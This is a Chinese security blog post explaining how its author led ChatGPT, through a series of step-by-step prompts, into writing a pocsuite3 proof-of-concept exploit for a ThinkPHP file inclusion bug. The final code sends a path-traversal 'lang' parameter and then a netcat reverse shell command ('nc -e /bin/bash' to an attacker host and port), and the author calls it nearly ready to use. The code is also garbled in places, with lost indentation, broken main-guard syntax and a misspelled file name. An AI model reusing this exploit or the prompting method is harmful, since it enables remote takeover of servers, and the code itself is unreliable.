前言

这一模型可以与人类进行谈话般的交互，可以回答追问，连续性的问题，承认其回答中的错误，指出人类提问时的不正确前提，拒绝回答不适当的问题。

简单来说，ChatGPT是一个AI，能够分析我们题出的问题，并且对此做出解答。可以通过ChatGPT来分析代码，或者让其根据我们的需求写出相应的代码，如下。

所以，我就在想，能不能让它给我们编写poc，简化平时的一个工作，于是便有了这篇文章。

分析

发现

我发现，ChatGPT缓存了当此询问的结果，当我们前后两个问题相似的时候，ChatGPT会去分析两个问题的一个相似度，如果相似度过高，则会返回上一次分析的结果。而且对于有歧义的语句，其处理结果误差比较大，所以我们可以一开始给出一个简单的语句，然后通过逐步的训练，让其结果更加符合我们的预期。

过程

原理

在一开始，最好向CG(ChatGPT的简称)提供漏洞的相关原理，但是由我们直接去叙述，其准确性比较低，因为语言存在歧义，那么，我们可以通过引导的方式，去让CG了解和漏洞有关的信息，比如ThinkPHP最新的漏洞原理是因为多语言模式的开启导致的文件包含，如果我们直接询问。

我们会发现，CG无法为我们解析出来，因为其实在这里lang_switch_on是config.php返回数组中的一个键名，准确来说并不是参数，所以这里解析才会出错。我们知道config.php会返回一个数组，但是CG因为并不会去解析config.php,所以在它并不觉得config.php会返回什么。

但是我们换一种方法，我们询问，

我们会发现，CG给出了我们一个流程，那么在这里，CG就记住了这一答案，当我们在漏洞原理中加入了这句话，那么CG就能正确解析。

分段

当我们直接通过一大段话让其给我们编写程序的时候，你会发现会有很多错误，如下。

根据我上面的发现，我突然想 ，我们可以先给出一个简单的需求，在后面不断基于之前给的答案，增加其准确度就行。如下。

首先，询问是否知道pocsuite，并要求给出一个例子。

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
class TestPOC(POCBase):
    vulID = '12345'
    version = '1.0'
    author = 'test'
    vulDate = '2022-01-01'
    createDate = '2022-01-01'
    updateDate = '2022-01-01'
    references = ['https://example.com/vul/12345']
    name = 'Test POC'
    appPowerLink = 'https://example.com'
    appName = 'Test'
    appVersion = '1.0'
    vulType = 'Test Vul'
    desc = '''Test POC Description'''
    samples = ['']
    def _attack(self):
        # your code here
        pass
    def _verify(self):
        # your code here
        result = {}
        return self.parse_output(result)
    def parse_output(self, result):
        output = Output(self)
        # your code here
        return output
def main():
    register_poc(TestPOC)
if __name__ == '__main__':
    main()

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
class ThinkPHP5_File_Inclusion(POCBase):
    vulID = '12345'
    version = '1.0'
    author = 'test'
    vulDate = '2022-01-01'
    createDate = '2022-01-01'
    updateDate = '2022-01-01'
    references = ['https://example.com/vul/12345']
    name = 'ThinkPHP5 File Inclusion Vulnerability'
    appPowerLink = 'https://thinkphp.cn'
    appName = 'ThinkPHP'
    appVersion = '5.0'
    vulType = 'File Inclusion'
    desc = '''
    This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
    To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
    and a malicious lang parameter must be passed in the URL.
    '''
    samples = ['']
    def _attack(self):
        # your code here
        pass
    def _verify(self):
        result = {}
        # your code here
        return self.parse_output(result)
    def parse_output(self, result):
        output = Output(self)

这时候，我们再添加一些信息。

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
class ThinkPHP5_File_Inclusion(POCBase):
vulID = '12345'
version = '1.0'
author = 'test'
vulDate = '2022-12-09'
createDate = '2022-12-09'
updateDate = '2022-12-09'
references = ['https://tttang.com/archive/1865/']
name = 'ThinkPHP5 File Inclusion Vulnerability'
appPowerLink = 'https://thinkphp.cn'
appName = 'ThinkPHP'
appVersion = '5.0'
vulType = 'File Inclusion'
desc = '''
This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
phearcmd.php file and execute arbitrary commands.
'''
samples = ['']
def _attack(self):
    # your code here
    pass
def _verify(self):
    result = {}
    # your code here
    # send a request with a malicious lang parameter
    url = self.url + '?lang=../phearcmd.php'
    r = req.get(url)
    # check if the phearcmd.php file was included
    if 'PhearCommand execution' in r.text:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = url
    return self.parse_output(result)
def parse_output(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail('The vulnerability could not be verified')
    return output
def main():
register_poc(ThinkPHP5_File_Inclusion)
if name == 'main':
main()

最后，我们再补充一点。

import pocsuite3
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
class ThinkPHP5_File_Inclusion(POCBase):
vulID = '12345'
version = '1.0'
author = 'test'
vulDate = '2022-12-09'
createDate = '2022-12-09'
updateDate = '2022-12-09'
references = ['https://tttang.com/archive/1865/']
name = 'ThinkPHP5 File Inclusion Vulnerability'
appPowerLink = 'https://thinkphp.cn'
appName = 'ThinkPHP'
appVersion = '5.0'
vulType = 'File Inclusion'
desc = '''
This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
phearcmd.php file and execute arbitrary commands, including a reverse shell.
'''
samples = ['']
def _attack(self):
    # your code here
    # send a request with a malicious lang parameter to include phearcmd.php
    url = self.url + '?lang=../phearcmd.php'
    r = req.get(url)
    # check if the phearcmd.php file was included
    if 'PhearCommand execution' in r.text:
        # send a request to execute a reverse shell command
        command = 'php -r "system(\'nc -e /bin/bash {0} {1}\');"'.format(self.options.get('lhost'), self.options.get('lport'))
        url = self.url + '?phearcmd=' + command
        req.get(url)
def _verify(self):
    result = {}
    # your code here
    return self.parse_output(result)
def parse_output(self, result):
    output = Output(self)
    # no output is necessary for this POC
    return output
def main():
register_poc(ThinkPHP5_File_Inclusion)
if name == 'main':
main()

到这里，基本上就可以拿来改改就能直接使用了。

结论

通过以上的利用和分析，我们能感受到CG的一个强大，当CG对于我们的一个问题的解决结果误差较大的时候，我们可以逐步进行求解，让其引擎对结果进行不断的修正，这样最终的结果误差较小。以上只是一个简单的案例，还有更多的可能等待挖掘。

本文作者：aka_zz， 转载请注明来自FreeBuf.COM

​